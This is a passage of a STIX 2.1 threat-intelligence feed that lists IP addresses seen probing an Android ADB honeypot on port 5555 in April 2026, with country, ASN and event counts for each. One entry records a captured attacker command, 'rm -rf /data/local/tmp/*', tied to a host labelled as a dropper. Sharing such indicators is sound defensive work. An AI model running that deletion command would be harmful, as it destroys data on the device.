      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6079; asn_org=RCN; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T20:19:16.000Z | last_seen=2026-04-06T20:29:20.322Z | ports=5555 | cc=US | asn=6079 | org=RCN",
      "id": "indicator--978e3f64-5448-4a7e-88e2-3a1182e1dbbc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '208.58.104.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T21:00:08.000Z",
      "valid_until": "2026-05-08T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T20:19:16.000Z",
          "last_seen": "2026-04-06T20:29:20.322Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6079"
          ],
          "org": [
            "RCN"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=MX; asn=14593; asn_org=Space Exploration Technologies Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T21:58:19.000Z | last_seen=2026-04-06T22:08:29.245Z | ports=5555 | cc=MX | asn=14593 | org=Space Exploration Technologies Corporation",
      "id": "indicator--737c106f-7a09-4030-83f6-355f93f8a007",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '148.222.132.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:00:03.000Z",
      "valid_until": "2026-05-08T22:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T21:58:19.000Z",
          "last_seen": "2026-04-06T22:08:29.245Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "14593"
          ],
          "org": [
            "Space Exploration Technologies Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BR; asn=263038; asn_org=SkyNet Prestacao S.C.M. LTDA. ME.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-06T21:09:42.000Z | last_seen=2026-04-06T21:10:49.533Z | ports=5555 | cc=BR | asn=263038 | org=SkyNet Prestacao S.C.M. LTDA. ME.",
      "id": "indicator--6f940ec5-d0b3-4745-834d-5fb28359b3b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '177.23.43.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:00:03.000Z",
      "valid_until": "2026-05-08T22:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-06T21:09:42.000Z",
          "last_seen": "2026-04-06T21:10:49.533Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "263038"
          ],
          "org": [
            "SkyNet Prestacao S.C.M. LTDA. ME."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=TN; asn=37705; asn_org=TOPNET; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T21:15:29.000Z | last_seen=2026-04-06T21:25:35.382Z | ports=5555 | cc=TN | asn=37705 | org=TOPNET",
      "id": "indicator--45bf0c9d-0c39-4325-a057-0a3622a66e2f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '197.0.220.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:00:03.000Z",
      "valid_until": "2026-05-08T22:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T21:15:29.000Z",
          "last_seen": "2026-04-06T21:25:35.382Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TN"
          ],
          "asn": [
            "37705"
          ],
          "org": [
            "TOPNET"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-06T21:10:50.000Z | last_seen=2026-04-06T21:12:24.116Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--6c7cbec4-3d4b-4820-8c3b-807674fefd6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '42.242.156.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T22:00:03.000Z",
      "valid_until": "2026-05-08T22:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-06T21:10:50.000Z",
          "last_seen": "2026-04-06T21:12:24.116Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T00:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=SA; asn=39891; asn_org=Saudi Telecom Company JSC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T23:08:58.000Z | last_seen=2026-04-06T23:19:09.136Z | ports=5555 | cc=SA | asn=39891 | org=Saudi Telecom Company JSC",
      "id": "indicator--927c71fa-5629-4312-91e4-b2f1587e1208",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.156.136.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T00:00:11.000Z",
      "valid_until": "2026-05-09T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T23:08:58.000Z",
          "last_seen": "2026-04-06T23:19:09.136Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SA"
          ],
          "asn": [
            "39891"
          ],
          "org": [
            "Saudi Telecom Company JSC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T01:00:26.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=SE; asn=8473; asn_org=Bahnhof AB; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-07T00:24:39.000Z | last_seen=2026-04-07T00:34:44.675Z | ports=5555 | cc=SE | asn=8473 | org=Bahnhof AB",
      "id": "indicator--7c5b4d13-1787-4c2c-ad73-4ef8243291f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '178.174.225.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T01:00:26.000Z",
      "valid_until": "2026-05-09T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-07T00:24:39.000Z",
          "last_seen": "2026-04-07T00:34:44.675Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "8473"
          ],
          "org": [
            "Bahnhof AB"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-07T01:59:10.000Z | last_seen=2026-04-07T02:09:21.893Z | ports=5555 | cc=GB | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3c84c70e-fe79-4a9b-adb5-2965d371247b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '134.209.186.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T02:00:03.000Z",
      "valid_until": "2026-05-09T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-07T01:59:10.000Z",
          "last_seen": "2026-04-07T02:09:21.893Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=CO; asn=52468; asn_org=UFINET PANAMA S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-07T01:22:40.000Z | last_seen=2026-04-07T01:32:43.318Z | ports=5555 | cc=CO | asn=52468 | org=UFINET PANAMA S.A.",
      "id": "indicator--bb1133d4-6a9e-4e8d-83e6-ca85b7ea9c05",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '181.78.79.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T02:00:03.000Z",
      "valid_until": "2026-05-09T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-07T01:22:40.000Z",
          "last_seen": "2026-04-07T01:32:43.318Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CO"
          ],
          "asn": [
            "52468"
          ],
          "org": [
            "UFINET PANAMA S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=8; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-04. events=31 | first_seen=2026-04-07T01:59:07.000Z | last_seen=2026-04-07T02:14:10.609Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
      "id": "indicator--ffef4faf-b14c-4d97-8b03-2be20b56ebfc",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '222.168.132.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T02:00:03.000Z",
      "valid_until": "2026-05-09T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 31,
          "first_seen": "2026-04-07T01:59:07.000Z",
          "last_seen": "2026-04-07T02:14:10.609Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T03:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-07T02:13:29.000Z | last_seen=2026-04-07T02:14:35.502Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--eccc8522-903b-40cf-a7cb-2071f3a9ee40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.248.58.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T03:00:09.000Z",
      "valid_until": "2026-05-09T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-07T02:13:29.000Z",
          "last_seen": "2026-04-07T02:14:35.502Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T03:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=11 | first_seen=2026-04-07T02:04:09.000Z | last_seen=2026-04-07T02:14:10.609Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--3a25cc5c-2579-47f0-863c-e09a51443b38",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '175.20.237.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T03:00:09.000Z",
      "valid_until": "2026-05-09T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 11,
          "first_seen": "2026-04-07T02:04:09.000Z",
          "last_seen": "2026-04-07T02:14:10.609Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=10796; asn_org=Charter Communications Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-07T03:40:40.000Z | last_seen=2026-04-07T03:50:50.130Z | ports=5555 | cc=US | asn=10796 | org=Charter Communications Inc",
      "id": "indicator--544e663a-c81c-4835-99ca-bb1dcc45405e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.231.16.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T04:00:07.000Z",
      "valid_until": "2026-05-09T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-07T03:40:40.000Z",
          "last_seen": "2026-04-07T03:50:50.130Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "10796"
          ],
          "org": [
            "Charter Communications Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=RU; asn=8369; asn_org=Intersvyaz-2 JSC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=26 | first_seen=2026-04-07T03:03:05.000Z | last_seen=2026-04-07T03:22:42.149Z | ports=5555 | cc=RU | asn=8369 | org=Intersvyaz-2 JSC",
      "id": "indicator--17373842-6817-420a-ad66-7804d7f271cc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '109.191.177.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T04:00:07.000Z",
      "valid_until": "2026-05-09T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 26,
          "first_seen": "2026-04-07T03:03:05.000Z",
          "last_seen": "2026-04-07T03:22:42.149Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "8369"
          ],
          "org": [
            "Intersvyaz-2 JSC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=BR; asn=28126; asn_org=BRISANET SERVICOS DE TELECOMUNICACOES S.A; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-07T03:06:17.000Z | last_seen=2026-04-07T03:16:23.967Z | ports=5555 | cc=BR | asn=28126 | org=BRISANET SERVICOS DE TELECOMUNICACOES S.A",
      "id": "indicator--f7961197-959d-4d61-ab17-ae4802bbe931",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '177.37.154.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T04:00:07.000Z",
      "valid_until": "2026-05-09T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-07T03:06:17.000Z",
          "last_seen": "2026-04-07T03:16:23.967Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "28126"
          ],
          "org": [
            "BRISANET SERVICOS DE TELECOMUNICACOES S.A"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=MU; asn=23889; asn_org=MauritiusTelecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-07T03:39:21.000Z | last_seen=2026-04-07T03:49:23.587Z | ports=5555 | cc=MU | asn=23889 | org=MauritiusTelecom",
      "id": "indicator--44c07321-decd-4bd8-b860-9ba97d3dc250",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '197.225.74.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T04:00:07.000Z",
      "valid_until": "2026-05-09T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-07T03:39:21.000Z",
          "last_seen": "2026-04-07T03:49:23.587Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MU"
          ],
          "asn": [
            "23889"
          ],
          "org": [
            "MauritiusTelecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T04:00:07.000Z",
